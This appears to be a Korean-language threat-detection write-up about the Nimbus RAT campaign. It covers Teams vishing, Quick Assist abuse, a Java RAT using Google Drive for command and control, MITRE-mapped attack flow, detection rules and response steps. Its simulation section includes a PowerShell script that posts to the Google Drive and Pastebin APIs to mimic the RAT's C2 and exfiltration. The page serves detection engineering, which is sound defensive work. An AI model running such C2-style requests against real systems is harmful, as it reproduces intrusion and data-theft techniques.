Microsoft Teams와 Google Drive를 통해 전파되는 Nimbus RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
위협 행위자들은 Microsoft Teams 음성 피싱과 Quick Assist를 사용하여 Nimbus RAT라는 Java 기반 원격 액세스 트로이 목마를 배포했습니다. 이 악성 코드는 Google 드라이브와 Google 시트를 명령 및 제어 채널로 사용하며 자체 번들된 OpenJDK 런타임을 포함합니다. 자격 증명 탈취를 위해 가짜 Windows 보안 프롬프트나 원시 CredUI API를 사용하여 사용자 비밀을 캡처합니다.
조사
eSentire의 위협 대응 부서는 메일 흐름 로그, 엔드포인트 원격 측정 데이터, Java 악성 코드의 정적 분석을 통해 완전한 침입 체인을 재구성했습니다. 이 캠페인은 이메일 폭탄, Teams 기반 피싱 콜, Quick Assist 원격 지원, Pastebin에 호스팅된 지침 시트, 페이로드 배포에 사용된 침해된 SharePoint 테넌트를 결합했습니다.
대응책
권장 방어책은 알려지지 않은 테넌트로부터의 외부 Teams 메시징 차단, Quick Assist 차단, 이메일 폭탄 활동 급증 경보, javaw.exe 비정상적인 위치에서의 실행 모니터링, 예상치 못한 프로세스에 의해 시작된 의심스러운 Google 드라이브 API 호출 탐지입니다.
대응
Nimbus RAT 활동이 감지되면 영향을 받는 시스템을 격리하고 관련된 모든 javaw.exe 프로세스를 종료하고, C:ProgramDataInboxCorePro 디렉토리와 관련된 시작 단축키를 제거하며, 전체 시스템 리이미지를 고려해야 합니다. 무단 Google 드라이브 애플리케이션 승인 식별을 위해 Google Workspace 감시 로그도 검토하십시오.
graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#e6e6e6 %% 노드 – 액션 action_phishing[“<b>행동</b> – <b>T1566.003 피싱: 서비스 기반 스피어피싱</b><br/>이메일 폭탄으로 구독 확인 메시지를 전송하여 이후 Microsoft Teams 비싱 통화를 준비함”] class action_phishing action action_trusted_rel[“<b>행동</b> – <b>T1199 신뢰 관계 악용</b><br/>공격자는 일회성 Microsoft 365 테넌트를 생성하거나 합법 테넌트를 탈취하여 신뢰된 외부 Teams 메시지를 전송함”] class action_trusted_rel action action_user_exec_file[“<b>행동</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>피해자는 Pastebin을 통해 SharePoint에서 ZIP을 다운로드하고 javaw.exe로 JAR 파일을 실행하도록 유도됨”] class action_user_exec_file action action_user_exec_copy[“<b>행동</b> – <b>T1204.004 사용자 실행: 복사 및 붙여넣기 악용</b><br/>공격자가 Pastebin URL을 Teams 채팅에 삽입하여 사용자가 악성 사이트를 방문하도록 속임”] class action_user_exec_copy action action_persistence[“<b>행동</b> – <b>T1547.001 부팅/로그온 자동 실행</b><br/>.reg 파일을 импорт하고 시작 프로그램 폴더에 바로가기를 생성하여 Java RAT 지속성을 확보함”] class action_persistence action action_credential_harvest[“<b>행동</b> – <b>T1056.002 입력 캡처: GUI 입력 탈취</b><br/>Nimbus RAT이 가짜 Java Swing 인증 창과 Windows CredUI 프롬프트를 표시하여 자격 증명을 탈취함”] class action_credential_harvest action action_c2[“<b>행동</b> – <b>T1102.002 웹 서비스: 양방향 통신</b><br/>Google Drive를 이용해 서비스 계정 또는 OAuth2로 암호화된 폴링 파일 기반 C2 수행”] class action_c2 action action_exfil[“<b>행동</b> – <b>T1567.002 웹 서비스 통한 유출</b><br/>수집된 스크린샷 및 파일을 동일한 Google Drive 폴더로 업로드”] class action_exfil action action_network_disc[“<b>행동</b> – <b>T1016 시스템 네트워크 구성 정보 수집</b><br/>RAT이 ipconfig /all 명령을 실행하여 네트워크 인터페이스 정보를 수집함”] class action_network_disc action %% 도구 / 악성코드 / 프로세스 / 파일 tool_email_bomb[“<b>도구</b> – 이름: 이메일 폭탄 스크립트”] class tool_email_bomb tool tool_teams[“<b>도구</b> – 이름: Microsoft Teams (비싱)”] class tool_teams tool tool_sharepoint[“<b>도구</b> – 이름: 손상된 SharePoint 사이트”] class tool_sharepoint tool malware_nimbus[“<b>악성코드</b> – 이름: Nimbus RAT (Java)”] class malware_nimbus malware file_jar[“<b>파일</b> – 이름: InboxCorePro.jar (Java 페이로드)”] class file_jar data process_javaw[“<b>프로세스</b> – 이름: javaw.exe (JAR 실행)”] class process_javaw process file_reg[“<b>파일</b> – 이름: .reg 레지스트리 импорт”] class file_reg data file_startup[“<b>파일</b> – 이름: 시작 프로그램 바로가기”] class file_startup data service_gdrive[“<b>서비스</b> – 이름: Google Drive (C2 및 유출)”] class service_gdrive data process_ipconfig[“<b>프로세스</b> – 명령: ipconfig /all”] class process_ipconfig process %% 연결 action_phishing –>|사용| tool_email_bomb action_phishing –>|유도| action_trusted_rel action_trusted_rel –>|사용| tool_teams action_trusted_rel –>|전달| action_user_exec_copy action_user_exec_copy –>|링크 제공| action_user_exec_file action_user_exec_file –>|다운로드| tool_sharepoint action_user_exec_file –>|실행| file_jar file_jar –>|실행됨| process_javaw process_javaw –>|실행| malware_nimbus malware_nimbus –>|생성| action_persistence action_persistence –>|임포트| file_reg action_persistence –>|배치| file_startup malware_nimbus –>|수집| action_credential_harvest malware_nimbus –>|통신| service_gdrive service_gdrive –>|C2 지원| action_c2 service_gdrive –>|유출 지원| action_exfil malware_nimbus –>|실행| action_network_disc action_network_disc –>|명령 실행| process_ipconfig
공격 흐름
탐지
의심스러운 위치에서의 Java 앱 실행 (프로세스 생성을 통해)
보기
자기 시작 위치에서 실행되는 의심스러운 이진/스크립트 (파일 이벤트를 통해)
보기
악용된 프로세스에 의해 확인된 GoogleApis 도메인 (dns_query를 통해)
보기
Google 명령 및 제어 유틸리티 활동 가능성 (프록시를 통해)
보기
Nimbus RAT 탐지를 위한 IOCs (HashSha256): Microsoft Teams 및 Google Drive를 사용하여 Java RAT을 배포하는 위협 행위자
보기
Google API 및 Pastebin의 의심스러운 사용 탐지 [Proxy]
보기
javaw.exe를 통한 Nimbus RAT 실행 및 정찰 명령 탐지 [Windows 프로세스 생성]
보기
Vishing 공격에서 Quick Assist 및 regedit.exe 실행 탐지 [Microsoft Windows 보안 이벤트 로그]
보기
시뮬레이션 실행
필수 조건: 원격 측정 및 기준선 사전 검사 통과해야 함.
논리적 이유: 이 섹션에서는 탐지 규칙을 트리거하도록 설계된 적군 기술 (TTP)의 정확한 실행을 상세히 설명합니다. 명령어와 내러티브는 반드시 식별된 TTP를 직접 반영하고 탐지 논리가 예상하는 정확한 원격 측정을 생성하도록 해야 합니다.
-
공격 내러티브 및 명령어:
위협 행위자는 이미 Nimbus RAT 바이너리를 통해 엔드 포인트를 손상시켰습니다. 은밀한 C2 채널을 확립하기 위해 RAT는 두 개의 아웃바운드 HTTP POST 요청을 발급합니다:- Google Drive API 호출 – 소형 JSON 페이로드를
https://www.googleapis.com/drive/v3/files?uploadType=media에 업로드하여 RAT의 ‘다운로드-페이로드’ 동작을 모방합니다. - Pastebin 붙여넣기 – base‑64‑인코딩된 명령 문자열을
https://pastebin.com/api/api_post.php에 게시하며, 공개 API 키를 사용합니다.
두 개의 요청 모두 PowerShell의
Invoke-WebRequest로 실행되어 방화벽 로그에도메인필드를 포함시킵니다 (googleapis.comandpastebin.com). 공격자는 정상 활동과 혼합하기 위해 손상된 사용자의 컨텍스트에서 명령을 실행합니다. - Google Drive API 호출 – 소형 JSON 페이로드를
-
회귀 테스트 스크립트:
# -------------------------------------------------------------- # Nimbus RAT C2 시뮬레이션 – 도메인 일치에 Sigma 규칙 트리거 # -------------------------------------------------------------- # 1. Google Drive API 모의 업로드 (인증 없음 – 도메인 원격 측정에 집중) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Google Drive API로 모의 업로드 전송됨" } catch { Write-Warning "Google Drive 요청 실패 (샌드박스에서 예상됨): $_" } # 2. Pastebin 공용 API 게시 (개발자 키 필요 – 자리 표시자 사용) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- 실제 테스트를 위한 유효한 키로 교체 $pastebinText = "echo 'C2에서 시뮬레이션된 명령'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Pastebin에 모의 명령 게시됨" } catch { Write-Warning "Pastebin 요청 실패 (샌드박스에서 예상됨): $_" } # -------------------------------------------------------------- # 시뮬레이션 종료 # -------------------------------------------------------------- -
정리 명령어:
# 시뮬레이션 중 사용된 임시 파일이나 변수 제거 Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] 정리 완료."